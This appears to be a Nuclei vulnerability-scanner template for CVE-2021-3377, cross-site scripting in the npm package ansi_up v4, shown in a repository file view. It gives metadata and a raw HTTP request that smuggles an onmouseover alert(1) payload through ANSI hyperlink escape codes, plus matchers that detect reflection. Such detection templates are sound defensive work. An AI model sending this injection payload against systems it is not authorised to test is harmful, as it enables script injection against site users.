nuclei-templates/cves/2021/CVE-2021-3377.yaml

40 lines
1.1 KiB
YAML
Raw Normal View History

2021-07-26 17:18:45 +00:00
id: CVE-2021-3377
info:
name: npm ansi_up v4 - Cross-Site Scripting
description: npm package ansi_up v4 is vulnerable to cross-site scripting because ANSI escape codes can be used to create HTML hyperlinks.
remediation: Upgrade to v5.0.0 or later.
reference:
- https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
- https://github.com/drudru/ansi_up/commit/c8c726ed1db979bae4f257b7fa41775155ba2e27
- https://nvd.nist.gov/vuln/detail/CVE-2021-3377
2021-07-26 17:18:45 +00:00
author: geeknik
severity: medium
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.10
cve-id: CVE-2021-3377
cwe-id: CWE-79
tags: cve,cve2021,xss,npm
2021-07-26 17:18:45 +00:00
requests:
- raw:
- |+
GET /\u001B]8;;https://example.com"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
Host: {{Hostname}}
Connection: close
unsafe: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- "text/html"
- type: word
words:
- "com\"/onmouseover=\"alert(1)\">"
# Enhanced by mp on 2022/04/21